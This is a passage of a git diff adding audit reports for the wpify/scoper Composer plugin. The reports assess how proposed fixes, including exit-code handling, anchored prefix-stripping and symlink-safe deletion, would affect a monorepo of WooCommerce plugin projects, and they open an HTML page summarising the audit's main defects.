five. + +The lead's hypothesis that `edu.constructiocrm` behaves differently because of its local +install is **not borne out**. `createPath()` tests +`strpos( dirname(__DIR__), 'vendor/wpify/scoper' )` (`Plugin.php:269`), and both +topologies contain that substring: + +* global: `/Users/wpify/.composer/vendor/wpify/scoper` → substring found +* edu local: `/Users/wpify/projects/edu.constructiocrm/vendor/wpify/scoper` → substring found + +Both resolve `scoper.custom.php` to `getcwd()`, which is correct. The substring test only +fails for a non-standard `vendor-dir` or a `path`-repository symlink — neither of which +occurs in this cluster. + +The genuinely distinctive thing about `edu.constructiocrm` is different, and it is worth +recording: its local `require-dev` copy **never executes**. Composer dedupes plugin +registration by package name (`PluginManager.php:216-218`) and loads the global +repository first (`PluginManager.php:109-110`), so the global 3.2.21 wins. Its own lock +confirms the version is identical anyway — `composer.lock` `packages-dev` has +`wpify/scoper 3.2.21` and `wpify/php-scoper 0.18.18`. + +**Verdict: SAFE / not applicable, all five.** + +--- + +## 12. M3 — stop writing generated `scripts` into `composer-deps.json` + +* **No** `composer-deps.json` in this cluster contains a `scripts` block — hand-written + or generated. Nothing would be lost. +* The generated scripts are written to the **temp copy**, not the user's file: + `Plugin.php:169-175` writes `$composerJsonPath`, which is + `path( $source, 'composer.json' )` = `tmp-XXXXXXXXXX/source/composer.json` + (`Plugin.php:128,131`). The user's `composer-deps.json` is only ever written when it is + **absent** (`Plugin.php:141`). +* Both files are committed in all five. What actually churns is + **`composer-deps.lock`**, which `scripts/postinstall.php:57-58` deletes and overwrites + on every run: heureka 26 commits vs 10 for the `.json`, rosettapress 29 vs 7, + environmentalbadge 14 vs 3, epicwash 2 vs 2, edu 1 vs 1. All five working trees are + currently clean for both files. + +**Verdict: SAFE / not applicable, all five.** M3's "clobbers user scripts" concern does +not materialise here; the lock-file churn is a separate (and expected) behaviour. + +--- + +## 13. M15 — validate `globals` against available symbol files + +Only `heureka-scope-review` sets `globals` at all: +`["wordpress","woocommerce"]` (`composer.json:38-41`). Both map to real files +(`symbols/wordpress.php`, `symbols/woocommerce.php`). The other four inherit the default +(`Plugin.php:60`), which is valid by construction. + +Worth noting as a side effect rather than a risk: heureka's explicit list **narrows** the +default — it drops `action-scheduler` and `wp-cli`. Its scoped set contains neither, so +this is harmless today, but a validator should not flag it. + +**Verdict: SAFE, all five.** + +--- + +## Verdict table + +Legend: **S** = SAFE · **NM** = NEEDS-MIGRATION · **B** = BREAKING · **n/a** = not applicable · **?** = UNKNOWN + +| Item | heureka | rosettapress | epicwash-dev | edu.constructiocrm | environmentalbadge | +|---|---|---|---|---|---| +| **C4** PHP `^8.2` | **S** (CI image inferred, not read) | **S** (CI image inferred, not read) | **S** | **S** | **S** | +| **C5** prefix fail-fast | **S**¹ | **S**¹ | **S**¹ | **S**¹ | **S**¹ | +| **C3** atomic `.bak` swap | **NM** (wp.org release ships `vendor/`) | **S** | **NM** (ZIP + FTP mirror ship `vendor/`) | **NM** (`.gitignore` misses `web/app/deps.bak`) | **NM** (same `.gitignore` gap) | +| **C2** `is_link()` guard | **S** | **S** | **S** | **S** | **S** | +| **C1** `--no-plugins` | **S** | **S** | **S** | **S** | **S** | +| **C1** exit code / ordering | **NM**² | **NM**² | **NM**² | **S** | **NM**² | +| **M4** re-entrancy guard | **S** | **S** | **S** | **S**³ | **S** | +| **H1** anchored stripping | **S** | **S** | **S** | **S** | **S** | +| **H2** narrow `$files` rewrite | **S** | **S** | **S** | **S** | **S** | +| **H7** `--no-dev` | n/a | n/a | n/a | n/a | n/a | +| **H14/H15** plugin-update-checker | n/a | n/a (scopes PUC **v5**, not opted in) | n/a | n/a | n/a | +| **H16** regenerated symbols | **S** | **S** | **S** | **S** | **S** | +| **H18** `scoper.custom.php` | n/a | n/a | n/a | n/a⁴ | n/a | +| **M3** generated `scripts` | n/a | n/a | n/a | n/a | n/a | +| **M15** `globals` validation | **S** | **S** | **S** | **S** | **S** | + +1. Conditional: the check must fire only when `extra.wpify-scoper` is present. An + unconditional "prefix required" is **BREAKING** for all five, because the plugin is + installed globally and activates in every repository on the machine. +2. Benign behaviour change: `dealerdirect/phpcodesniffer-composer-installer`'s + `POST_INSTALL_CMD` listener currently never runs on a dev install and would start + running. CI is `--no-dev`, so unaffected. +3. The local `require-dev` copy never executes (global wins the registration race); a + re-entrancy guard must be process-global, not instance state. +4. The local install path still satisfies the `vendor/wpify/scoper` substring test, so + H18 behaves identically to the global case. No `scoper.custom.php` exists anyway. + +### Residual unknowns + +* The image used by `.composer_install` in the private `wpify/gitlab-ci-templates` repo + (affects `heureka-scope-review`, and `wpify-plugin.yml` for `rosettapress`). Clone + denied — `git@gitlab.wpify.io: Permission denied (publickey)`. Strong inference from 18 + sibling pipelines that it is `composer:2.8.2` / `composer:2`, both PHP ≥ 8.3. Confirm + by reading one line of that repo before landing C4 if you want certainty. +* `heureka-scope-review` has no built scoped tree on disk, so H1/H2 were verified against + its `composer-deps.lock` package/namespace set rather than generated output. diff --git a/docs/improvements/consumers/F-monorepo-group.md b/docs/improvements/consumers/F-monorepo-group.md new file mode 100644 index 0000000..f9fa282 --- /dev/null +++ b/docs/improvements/consumers/F-monorepo-group.md @@ -0,0 +1,402 @@ +# Consumer impact — Group F: monorepo cluster + +**Projects:** `sales-booster-kit` (root + 6 sub-modules), `feed.szn` +**Audited against:** `wpify/scoper` 3.2.x working tree at `/Users/wpify/projects/scoper` +**Method:** read-only. No edits, no `composer` runs, no writes inside consumer projects. + +--- + +## 0. Headline answers + +### 0.1 Path repositories / symlinks (finding C2) — **SAFE, not applicable** + +The six sub-modules are **git submodules, not Composer `path` repositories.** + +- `sales-booster-kit/.gitmodules:1-18` declares all six under `src/Modules/`, each pointing at + `git@gitlab.wpify.io:commercial-plugins/*.git`. +- There is **no `repositories` block in any of the 8 composer.json / composer-deps.json files** in this + cluster (verified by grep across all of them). +- The root `composer.json` does not `require` any module. The root and the modules are installed + completely independently; Composer never links them. +- `find -type l` across both projects (excluding `node_modules`) returns **zero symlinks** in + `sales-booster-kit`, and in `feed.szn` only `.ddev/custom_certs/*` and two unrelated files inside + `vendor/humbug/php-scoper` and `vendor/fidry/console` — none of which is inside any `deps` target. +- Every `deps` target is a real directory (`ls -ld` confirms `drwxr-xr-x`, not `lrwx`). + +So the C2 scenario — `remove()` following a symlink into a developer's real module source — **cannot +occur here.** Adding the `is_link()` guard is a pure no-op for this cluster. + +For the record, the underlying hazard in `scripts/postinstall.php:3-10` is real: `remove()` tests +`is_dir($full)`, which returns `true` for a symlink-to-directory, so it would recurse into and empty +the link target. This cluster simply never presents that input. + +### 0.2 Recursion (finding M4) — **SAFE** + +**No `composer-deps.json` anywhere in this cluster contains an `extra` key, let alone +`extra.wpify-scoper`.** All eight were grepped individually: + +``` +sales-booster-kit/composer-deps.json +sales-booster-kit/src/Modules/sales-booster-extras/composer-deps.json +sales-booster-kit/src/Modules/wpify-woo-conditional-shipping/composer-deps.json +sales-booster-kit/src/Modules/wpify-woo-discount-rules/composer-deps.json +sales-booster-kit/src/Modules/wpify-woo-feeds/composer-deps.json +sales-booster-kit/src/Modules/wpify-woo-phone-validation/composer-deps.json +sales-booster-kit/src/Modules/wpify-woo-product-vouchers/composer-deps.json +feed.szn/composer-deps.json +``` + +`find` confirms these are the only `composer-deps.json` files in either project. The unbounded-recursion +configuration described in M4 does not exist here, and fixing C1 will not introduce it. + +--- + +## 1. Monorepo map + +`sales-booster-kit` performs **seven fully independent scoping runs** — the root plus each of the six +submodules — producing seven separate scoped trees, seven `composer-deps.lock` files and seven +`tmp-XXXXXXXXXX` working dirs. Confirmed by the presence of a distinct built tree under each module. + +The default `globals` is `array('wordpress','woocommerce','action-scheduler','wp-cli')` +(`src/Plugin.php:60`). This matters: the five modules that declare `globals` **override** the default +and thereby *lose* `action-scheduler` and `wp-cli`. + +| # | Unit | `prefix` | `folder` | `globals` | `scoper.custom.php` | +|---|------|----------|----------|-----------|---------------------| +| 1 | root `sales-booster-kit` | `WpifySalesBoosterDeps` | *(absent → `deps/`)* | *(absent → default 4)* | no | +| 2 | `sales-booster-extras` | `SalesBoosterExtrasDeps` | *(absent → `deps/`)* | *(absent → default 4)* | no | +| 3 | `wpify-woo-conditional-shipping` | `WpifyWooConditionalShippingDeps` | `vendor/wpify-woo-conditional-shipping` | wordpress, woocommerce, plugin-update-checker | **yes** | +| 4 | `wpify-woo-discount-rules` | `WpifyWooDiscountRuleDeps` | `vendor/wpify-woo-discount-rules` | wordpress, woocommerce, plugin-update-checker | **yes** | +| 5 | `wpify-woo-feeds` | `WpifyWooFeedsDeps` | `vendor/wpify-woo-feeds` | wordpress, woocommerce, plugin-update-checker | no | +| 6 | `wpify-woo-phone-validation` | `WpifyWooPhoneValidationDeps` | `vendor/wpify-woo-phone-validation` | wordpress, woocommerce, plugin-update-checker | **yes** | +| 7 | `wpify-woo-product-vouchers` | `WpifyWooProductVouchersDeps` | `vendor/wpify-woo-product-vouchers` | wordpress, woocommerce, plugin-update-checker | **yes** | +| 8 | `feed.szn` | `ExpresFeedsDeps` | *(absent → `deps/`)* | *(absent → default 4)* | no | + +Note that five of the seven `folder` values point **inside `vendor/`** — relevant to C3. + +### How scoper is actually invoked + +Neither `sales-booster-kit` nor any sub-module requires `wpify/scoper` at all. CI installs it globally: + +- `sales-booster-kit/.gitlab-ci.yml:66-67` and `:102-103` — `composer global require wpify/scoper` +- `feed.szn/.gitlab-ci.yml` (`composer` job `before_script`) — same, plus + `PATH=$(composer global config bin-dir --absolute --quiet):$PATH` + +Modules are built in a loop at `sales-booster-kit/.gitlab-ci.yml:73-83`, each with +`(cd "$MODULE_PATH" && composer install --no-dev --prefer-dist --optimize-autoloader --ignore-platform-reqs)`. + +--- + +## 2. `feed.szn` and the `wpify/scoper: ^2` constraint + +**It does not effectively pin to 2.x. The audited 3.2.x line is what runs in CI.** + +- `feed.szn/composer.json` declares `wpify/scoper: ^2` in **`require-dev`**, and + `feed.szn/composer.lock` resolves it to `wpify/scoper 2.5.4` (with `humbug/php-scoper 0.17.2`). + That version *is* physically installed at `feed.szn/vendor/wpify/scoper`. +- But CI runs `composer install --no-dev`, which **never installs `require-dev`**. So 2.5.4 is absent + from the CI container entirely. +- CI instead does `composer global require wpify/scoper` (unconstrained) and puts the global bin-dir on + `PATH`. The globally installed version on this machine is **`wpify/scoper 3.2.21`** with + `wpify/php-scoper 0.18.18` (from `~/.composer/vendor/composer/installed.json`). + +**Conclusion:** in CI, `feed.szn` is scoped by 3.2.x, so the audit's findings **do apply to it**. Only a +local developer install (`composer install` *with* dev) gets 2.5.4 — and even then the global 3.2.21 +plugin is also present, so which one handles the event is ambiguous. The `^2` constraint is +misleading and should be treated as stale metadata rather than a real pin. + +This is worth fixing on the consumer side independently of any scoper change: either drop the +`require-dev` entry or move CI to a pinned `composer global require wpify/scoper:^3`. + +--- + +## 3. Findings verified against built output + +### 3.1 H1 — anchored prefix-stripping: **one real regression** + +`config/scoper.inc.php:88-105` builds an **unanchored** `str_replace` over `\$prefix\$symbol`, so a +listed symbol strips any longer symbol that starts with it. I scanned all eight built trees for +genuinely global (single-segment) `\Name` references where `Name` is *not* an exact list member but +*does* have one as a strict prefix. + +**Root, `sales-booster-extras`, `feed.szn` (default globals): clean.** The only hits are +`WP_CONTENT_DIR`, `WP_PLUGIN_DIR`, `WP_MAX_MEMORY_LIMIT`, `MONTH_IN_SECONDS` — all of which are in +`symbols/wordpress.php` under **`exclude-constants`**, so php-scoper leaves them global natively and the +patcher plays no part. Anchoring changes nothing. + +**The five modules with explicit `globals`: `\WP_CLI` and `\WP_CLI_Command` regress.** Because those +modules override `globals` and drop `wp-cli`, these two symbols are *only* reaching the global namespace +via the unanchored `WP` match (`WP` is in `symbols/wordpress.php` → `exclude-classes`). Under H1 they +would become `\WP_CLI`. Affected files (identical set in all five trees): + +- `woocommerce/action-scheduler/classes/WP_CLI/…` — 12 files referencing `\WP_CLI` +- `woocommerce/action-scheduler/classes/WP_CLI/Action_Command.php` and + `classes/abstracts/ActionScheduler_WPCLI_Command.php` — `\WP_CLI_Command` + +Blast radius is small in practice: these classes only load under WP-CLI, and the scoped Action Scheduler +copy is already inert (see 3.2). But it is a genuine behaviour change. + +**Recommendation:** ship H1 together with either (a) adding `wp-cli` back to these modules' `globals`, +or (b) H16 regenerating the lists such that `WP_CLI`/`WP_CLI_Command` are covered without needing the +`wp-cli` opt-in. Do not ship H1 alone. + +### 3.2 Pre-existing: scoped Action Scheduler is inert (not caused by, and not fixed by, any finding) + +Worth recording because it shapes the H1 risk assessment. In every scoped tree, Action Scheduler class +*declarations* land inside the prefix namespace while all *references* are de-prefixed to global: + +`…/woocommerce/action-scheduler/classes/abstracts/ActionScheduler_Store.php` +```php +namespace WpifyWooFeedsDeps; + +abstract class ActionScheduler_Store extends \ActionScheduler_Store_Deprecated +``` + +All 60 `ActionScheduler_*` symbols are in `symbols/woocommerce.php` → `exclude-classes`, so the patcher +rewrites every reference to global, but nothing rewrites the `namespace` line php-scoper added. The +scoped copy is therefore unreachable; the code works only because WooCommerce provides Action Scheduler +globally at runtime. Unchanged by the proposed work — flagging it as a separate issue. + +### 3.3 H2 — narrowing the `autoload_static.php` rewrite: **SAFE, no live corruption** + +`scripts/postinstall.php:41-45` applies `'/'([[:alnum:]]+)'\s*=>\s*([a-zA-Z0-9 .'\"\/\-_]+),/'` to the +whole file. I checked all eight `autoload_static.php` files for keys carrying the lowercased prefix. +**Every hit is a 32-char md5 in the `$files` array — i.e. exactly the intended target.** Example +(`sales-booster-kit/deps/composer/autoload_static.php`): + +```php +public static $files = array ( + 'wpifysalesboosterdepscdf08174348db7aba2f2aa1537fac4b1' => __DIR__ . '/..' . '/wpify/custom-fields/custom-fields.php', + 'wpifysalesboosterdepsbc0af1337b39f0d750e835f5263eb646' => __DIR__ . '/..' . '/yahnis-elsts/plugin-update-checker/load-v5p7.php', + 'wpifysalesboosterdepsb33e3d135e5d9e47d845c576147bda89' => __DIR__ . '/..' . '/php-di/php-di/src/functions.php', +); +``` + +No `$classMap` or `$prefixLengthsPsr4` key is corrupted. The natural candidate — `tecnickcom/tcpdf` in +`wpify-woo-product-vouchers`, whose classes are bare global names — is safe because php-scoper moved them +into the prefix namespace first, so the keys contain backslashes and the `[[:alnum:]]+` key pattern +cannot match: + +```php +'WpifyWooProductVouchersDeps\\TCPDF' => __DIR__ . '/..' . '/tecnickcom/tcpdf/tcpdf.php', +'WpifyWooProductVouchersDeps\\TCPDF_FONTS' => … +'WpifyWooProductVouchersDeps\\QRcode' => … +``` + +H2 is a correctness hardening with no observable effect here. + +### 3.4 H14/H15 — `plugin-update-checker`: **SAFE; the config is already dead** + +`symbols/plugin-update-checker.php` contains **33 symbols, all `Puc_v4*`** — zero `Puc_v5*`, zero +`YahnisElsts\…` entries. Every consumer in this cluster resolves +`yahnis-elsts/plugin-update-checker` to **`dev-master` (v5, `Puc/v5p7`)**. + +So for the five modules that list `plugin-update-checker` in `globals`, the exclusion list **matches +nothing** and PUC is scoped anyway — identical to the root, which does not list it at all. Proof, from +`wpify-woo-feeds/vendor/wpify-woo-feeds/yahnis-elsts/plugin-update-checker/load-v5p7.php:3`: + +```php +namespace WpifyWooFeedsDeps\YahnisElsts\PluginUpdateChecker\v5p7; +``` + +…despite `plugin-update-checker` being in that module's `globals` +(`src/Modules/wpify-woo-feeds/composer.json`, `extra.wpify-scoper.globals`). + +No project code references PUC directly. Every consumer goes through `Wpify\Updates\Updates`: + +- `sales-booster-kit/src/Features/LicenseFeature.php:8,42` +- `src/Modules/{wpify-woo-feeds,wpify-woo-conditional-shipping,wpify-woo-discount-rules,wpify-woo-phone-validation,wpify-woo-product-vouchers}/src/Plugin.php` (each `use …Deps\Wpify\Updates\Updates;`) + +which in turn calls the scoped `…Deps\YahnisElsts\PluginUpdateChecker\v5\PucFactory` +(`wpify/updates/src/Updates.php:5,26`). `feed.szn` has no PUC at all. + +**Either proposal (regenerate for v5, or drop the built-in list) is SAFE.** Dropping it is a literal +no-op. Regenerating it for v5 would be a *behaviour change* — PUC would stop being scoped and start +resolving globally, which risks colliding with other plugins' PUC copies. Given every consumer here +relies on the scoped copy today, **dropping the list is the safer option for this cluster**; the five +`globals: [… plugin-update-checker]` entries should be removed as dead config either way. + +Separately, a cosmetic artefact of the current path, `load-v5p7.php:12`: the registration keys are +inconsistently rewritten — `'WpifyWooFeedsDeps\Plugin\UpdateChecker'` (string patched) alongside +`'GitHubApi'`, `'BitBucketApi'`, `'GitLabApi'` (left bare, no backslash to trigger the patcher). Both +registration and lookup happen inside the scoped tree so it is self-consistent, but it is fragile. + +### 3.5 H18 — `scoper.custom.php` discovery: **SAFE (currently working), and it exposes a live WPML bug** + +`src/Plugin.php:268-276`: `createPath(['scoper.custom.php'], true)` returns `getcwd()/scoper.custom.php` +only when `dirname(__DIR__)` contains the literal `vendor/wpify/scoper`. Because CI installs scoper via +`composer global require`, the path is `$COMPOSER_HOME/vendor/wpify/scoper` — which **does** contain that +substring. **Discovery works today in this cluster; the H18 fix is a no-op here.** + +Verified empirically, and the result is unusually clean. `ICL_LANGUAGE_CODE` is in **no** symbol list, so +its treatment depends entirely on the custom patcher: + +| Tree | has `scoper.custom.php` | `wpify/woo-core/src/Abstracts/AbstractModule.php:28` | +|------|------------------------|------------------------------------------------------| +| `wpify-woo-conditional-shipping` | yes | `defined('ICL_LANGUAGE_CODE')` ✅ | +| `wpify-woo-discount-rules` | yes | bare ✅ | +| `wpify-woo-phone-validation` | yes | bare ✅ | +| `wpify-woo-product-vouchers` | yes | bare ✅ | +| **`wpify-woo-feeds`** | **no** | `defined('WpifyWooFeedsDeps\ICL_LANGUAGE_CODE')` ❌ | +| **`sales-booster-extras`** | **no** | `defined('SalesBoosterExtrasDeps\ICL_LANGUAGE_CODE')` ❌ | +| **root `sales-booster-kit`** | **no** | `defined('WpifySalesBoosterDeps\ICL_LANGUAGE_CODE')` ❌ | + +The four modules carrying the file are correct. **The three units without it have a live WPML bug**: the +`defined()` guard can never be true, so WPML language handling in `wpify/woo-core` is silently dead in +`sales-booster-kit` (root), `sales-booster-extras` and `wpify-woo-feeds` — at +`AbstractModule.php:28,155,179` and `Admin/Settings.php`. + +This is a consumer-side gap, not a scoper defect, but the cleanest fix is scoper-side: add +`ICL_LANGUAGE_CODE` to `symbols/wordpress.php` → `exclude-constants` and retire four copies of the +workaround. Worth folding into H16. + +### 3.6 C1 + `--no-plugins`: **SAFE** + +No package in any of the eight `composer-deps.lock` files has a non-library `type` — **zero +`composer-plugin` packages**. The only installer-ish requirements are transitive **`require-dev`** entries +of dependencies, which Composer never installs: + +- `wpify/custom-fields` → `require-dev: dealerdirect/phpcodesniffer-composer-installer` (all 7 sbk locks) +- `giggsey/locale`, `phpstan/phpdoc-parser` → `require-dev: phpstan/extension-installer` + +`--no-plugins` on the nested install is safe everywhere here. Note `wpify/plugin-composer-scripts` and +`dealerdirect/phpcodesniffer-composer-installer` *are* real plugins, but they live in the modules' +outer `composer.json` `require-dev` — untouched by the nested install, and skipped in CI anyway +because CI uses `--no-dev`. + +**Exit-code propagation is a clear improvement here.** The module loop +(`.gitlab-ci.yml:71-83`) runs under `set -e`, so a propagated failure would correctly fail the job. +Today the only safety net is a root-only artefact check at `.gitlab-ci.yml:139-140`: + +``` +test -f "$EXPORT_DIR/$PLUGIN_SLUG/deps/scoper-autoload.php" +test -f "$EXPORT_DIR/$PLUGIN_SLUG/deps/autoload.php" +``` + +There is **no equivalent check for any of the six modules**, so a module whose scoping silently failed +would ship a broken `vendor//` today. C1 fixes that. + +### 3.7 C3 — atomic swap with a `.bak` sibling: **SAFE for root/feed.szn, minor caveat for 5 modules** + +`tempDir` is `getcwd()/tmp-XXXXXXXXXX` (`src/Plugin.php:58`) — same filesystem as the deps target in +every case, so `rename()` (and a `.bak` swap) is sound. No Docker/DDEV cross-mount issue: `feed.szn` uses +DDEV but scoping runs in CI on `composer:2.8.2`, and locally the project dir is a single mount. + +- **Root / `sales-booster-extras` / `feed.szn`** — `deps.bak` would sit at the project root. Not shipped: + root packaging copies only `jq -r '.files[]' package.json` (`.gitlab-ci.yml:130-136`) and `files` lists + `deps`, not `deps.bak`; `feed.szn` deploys via `rsync --include-from=./.rsyncinclude --exclude="*"`, + which lists `/deps/***` only. **SAFE.** +- **Five modules with `folder: vendor/`** — the backup lands at `vendor/.bak`, **inside + `vendor/`**. Each module's `package.json` `files` includes `vendor` wholesale, and the artefact copier + (`.gitlab-ci.yml:82`) copies whole listed directories. So a backup left behind by an interrupted or + failed swap **would be packaged into the shipped zip**, roughly doubling module size. Normal operation + deletes it, so this is a failure-path concern only. + + **Recommendation:** put the backup in the existing `tmp-*` working dir rather than as a sibling of + `folder`, or `register_shutdown_function` its cleanup. + +Also note neither `.gitignore` covers `tmp-*` (`sales-booster-kit/.gitignore`, `feed.szn/.gitignore` both +list `/deps/` and `/vendor/` only). No leftovers exist right now, and packaging/rsync both exclude them, +so this is cosmetic. + +### 3.8 C4 — bump `require.php` to `^8.2`: **SAFE, with one CI hardening suggested** + +Keeping the distinction the checklist asks for: `config.platform.php` = `8.1` in the root and every +module constrains **scoped dependency resolution only**. The PHP the *tool* runs on is the CI image: + +- `sales-booster-kit` `composer` job — `image: composer:2.8.2` (`.gitlab-ci.yml:99`) +- `sales-booster-kit` `modules_build` job — `image: node:20-alpine` + `apk add … php …` (`:45,51`) +- `feed.szn` `composer` job — `image: composer:2.8.2` +- `feed.szn` dev — `.ddev/config.yaml:3` `php_version: "8.3"` + +The `composer:2.8.x` images ship PHP 8.3, and Alpine's `php` package on the release matching +`node:20-alpine` is 8.3. Both satisfy `^8.2`. *(Inferred from image tags — not executable in this +read-only environment, so flagged rather than proven.)* + +**One real hazard, independent of the bump:** `composer global require wpify/scoper` is unconstrained +and is *not* run with `--ignore-platform-reqs` (that flag is on the project install only). If a runner +image ever drops to PHP 8.1, Composer will **silently resolve an older scoper** instead of failing — +producing a subtly different build with no error. Recommend pinning `composer global require +wpify/scoper:^3` in both `.gitlab-ci.yml` files. + +### 3.9 C5 — fail fast on missing/invalid `prefix`: **SAFE** + +All eight units declare a `prefix`, all are legal PHP namespace identifiers, and **all eight are +distinct** — no two scoped trees share a namespace. Nothing relies on the current silent no-op: there is +no `extra.wpify-scoper` block anywhere without a `prefix`. Note the near-miss naming +`WpifyWooDiscountRuleDeps` (singular "Rule") vs. the package `wpify-woo-discount-rules` — correct and +unique, just inconsistent. + +### 3.10 H7 — make `--no-dev` reachable: **SAFE, not applicable** + +**No `composer-deps.json` in this cluster has a `require-dev` section** (all eight grepped). Nothing +would disappear from any scoped tree. Note also that CI's `composer install --no-dev` fires +`POST_INSTALL_CMD`, which hard-codes `$useDevDependencies = true` (`src/Plugin.php:191`), so the nested +install runs *with* dev today regardless — a no-op here precisely because there are no dev requires. + +### 3.11 H16 — regenerated symbol lists: **SAFE, with two requests** + +Scoped packages across the cluster: `php-di`, `invoker`, `psr/*`, `laravel/serializable-closure`, +`woocommerce/action-scheduler`, `wpify/*`, `twig`, `symfony/polyfill-*`, `spatie/array-to-xml`, +`giggsey/libphonenumber-for-php`, `giggsey/locale`, `tecnickcom/tcpdf`, `setasign/fpdi`, +`ghostff/php-text-to-image`, `yahnis-elsts/plugin-update-checker`, `phpstan/*` (feed.szn). + +None declares a global function, class or constant that collides with WP/Woo naming — every one is +namespaced, and the two that ship bare global classes (`tcpdf`, PUC) are already handled. Newly-excluded +symbols would only *widen* what stays global, which for these packages is a no-op. + +Two asks while the lists are being regenerated: + +1. **Add `ICL_LANGUAGE_CODE` to `symbols/wordpress.php` → `exclude-constants`** (see 3.5). It fixes a + live bug in three units and retires four copies of a hand-written patcher. +2. **Ensure `WP_CLI` / `WP_CLI_Command` survive H1** for consumers that override `globals` without + `wp-cli` (see 3.1). + +### 3.12 M3 — stop writing generated `scripts` into `composer-deps.json`: **SAFE** + +**No `composer-deps.json` in this cluster contains a `scripts` block.** Both projects track +`composer-deps.json` and `composer-deps.lock` in git (`git ls-files`), so churn would have been visible — +there is none. Nothing hand-written would be lost. Note the generated `scripts` are written to +`tmp-*/source/composer.json` (`src/Plugin.php:169-175`), not to the user's file, so this is already +mostly true in practice for these consumers. + +### 3.13 M15 — validate `globals` entries: **SAFE** + +Available symbol files: `action-scheduler`, `plugin-update-checker`, `woocommerce`, `wordpress`, +`wp-cli`. Every declared entry (`wordpress`, `woocommerce`, `plugin-update-checker` × 5 modules) is +valid. Validation would emit no errors — though it would be a good place to *warn* that +`plugin-update-checker` is currently ineffective against PUC v5 (3.4). + +--- + +## 4. Verdict table + +Legend: **S** = SAFE · **NM** = NEEDS-MIGRATION · **B** = BREAKING · **n/a** = not applicable + +| Unit | C1 | C2 | C3 | C4 | C5 | M4 | H1 | H2 | H7 | H14/15 | H16 | H18 | M3 | M15 | +|------|----|----|----|----|----|----|----|----|----|--------|-----|-----|----|-----| +| root `sales-booster-kit` | S | S | S | S | S | S | S | S | n/a | S | S | S | S | S | +| `sales-booster-extras` | S | S | S | S | S | S | S | S | n/a | S | S | S | S | S | +| `wpify-woo-conditional-shipping` | S | S | **NM** | S | S | S | **NM** | S | n/a | S | S | S | S | S | +| `wpify-woo-discount-rules` | S | S | **NM** | S | S | S | **NM** | S | n/a | S | S | S | S | S | +| `wpify-woo-feeds` | S | S | **NM** | S | S | S | **NM** | S | n/a | S | S | S | S | S | +| `wpify-woo-phone-validation` | S | S | **NM** | S | S | S | **NM** | S | n/a | S | S | S | S | S | +| `wpify-woo-product-vouchers` | S | S | **NM** | S | S | S | **NM** | S | n/a | S | S | S | S | S | +| `feed.szn` | S | S | S | S | S | S | S | S | n/a | S | S | S | S | S | + +**Nothing in this cluster is BREAKING.** The two NEEDS-MIGRATION items are both confined to the five +modules that override `globals`: + +- **H1** — `\WP_CLI` / `\WP_CLI_Command` regress in 14 Action Scheduler files per module unless H1 ships + with `wp-cli` coverage. Low runtime impact, but a real change. +- **C3** — the `.bak` sibling lands inside `vendor/`, which those modules package wholesale. Failure-path + only; avoided by putting the backup in `tmp-*`. + +## 5. Consumer-side issues found (independent of the proposed changes) + +1. **Live WPML bug** in root `sales-booster-kit`, `sales-booster-extras`, `wpify-woo-feeds` — + `ICL_LANGUAGE_CODE` is prefixed, so `defined()` always returns false (3.5). +2. **`feed.szn`'s `wpify/scoper: ^2` is not honoured** in CI; 3.2.x does the work (§2). +3. **`globals: [… plugin-update-checker]` in five modules is dead config** against PUC v5 (3.4). +4. **No module-level build verification in CI** — only the root's `deps/` is checked for existence (3.6). +5. **Unconstrained `composer global require wpify/scoper`** risks a silent version downgrade (3.8). diff --git a/docs/improvements/index.html b/docs/improvements/index.html new file mode 100644 index 0000000..8e8b021 --- /dev/null +++ b/docs/improvements/index.html @@ -0,0 +1,1326 @@ + + + + + +wpify/scoper — Codebase Audit + + + + +
+
+ wpify/scoper + +
+
+ +
+
+

Codebase audit · 27 July 2026

+

58 findings across
857 lines of source.

+

+ wpify/scoper does something genuinely hard and does it well enough that + 65 releases have shipped on it. The logic is sound. What is missing is everything + around the logic: error handling, boundary validation, and any mechanism at all for + catching a regression before a user does. +

+

+ Four areas were audited independently — Composer plugin API conformance, runtime + robustness, the symbol-extraction pipeline, and engineering practice. Every claim below + was verified against the vendored Composer source or reproduced by execution. +

+ +
+
5Critical
+
19High
+
20Medium
+
14Low
+
45Small effort
+
+ + +
+
+ +
+
+
+ The headline +

Three problems that are actively costing you today

+
+ +
+

+ Most of what follows is ordinary technical debt. These three are not — they are live + defects with observable consequences in production installs, and none of them announces + itself. +

+
+ +

1. Every composer install skips its security audit

+
+

+ Plugin::runInstall() constructs a Composer\Console\Application and calls + run() on it. Symfony's Application defaults to + autoExit = true, so run() ends in exit() and never returns + — the return on src/Plugin.php:294 is unreachable. +

+

+ Composer dispatches POST_INSTALL_CMD at Installer.php:438 and runs the + vulnerability audit at Installer.php:448. The plugin's listener kills the process in + between. With a prefix configured, no user of this plugin has ever seen a Composer + security audit run. Their own post-install-cmd scripts and any + later-registered plugin are skipped too, and the outer exit code is replaced by the inner one. +

+
+ +

2. Scoped classes are silently un-scoped, then fatal at runtime

+
+

+ The patcher in config/scoper.inc.php:87-103 strips the prefix back off symbols that + should stay global. It builds needles like \MyPrefix\WP and hands them to + str_replace, which has no right-hand boundary. Reproduced against the real merged + symbol list: +

+
+
new \MyPrefix\WPSEO_Utils();   =>  new \WPSEO_Utils();          ← wrong
+use MyPrefix\WPBakery\Thing;   =>  use WPBakery\Thing;          ← wrong
+new \MyPrefix\POStuff();       =>  new \POStuff();              ← wrong
+new \MyPrefix\wpdbCustom();    =>  new \wpdbCustom();           ← wrong
+
+new \MyPrefix\WP_Post();       =>  new \WP_Post();              ← correct
+use MyPrefix\Monolog\Logger;   =>  use MyPrefix\Monolog\Logger; ← correct
+
+

+ The shipped exclusion list contains WP, PO, MO, + ftp, wpdb and other two-to-four character names. Any scoped dependency + whose fully-qualified name merely starts with one of the 1,219 class names or 477 + namespace names gets de-prefixed. The failure surfaces as + Class "WPSEO_Utils" not found inside the user's plugin, with nothing pointing back + at the scoper. +

+
+ +

3. A recursive delete that follows symlinks out of the project

+
+

+ remove() in scripts/postinstall.php:2-22 tests with is_dir() + and is_file(). Both follow symlinks; there is no is_link() guard. + Composer's path repository type symlinks packages into vendor/ by + default. That symlink lands in $temp/source/vendor, which is still present when the + script's last statement runs: +

+
+
remove( $temp );   // descends through the symlink into ../my-shared-library
+                   // and unlinks the developer's actual working copy
+
+

+ Anyone developing a shared library against a path repository loses uncommitted work in a + sibling directory. The same function also runs remove($deps) immediately + before rename(), with the rename's return value unchecked — so a + cross-device or Windows file-lock failure leaves the project with no dependencies at all and + still reports success. +

+
+
+
+ +
+
+
+ Consumer verification +

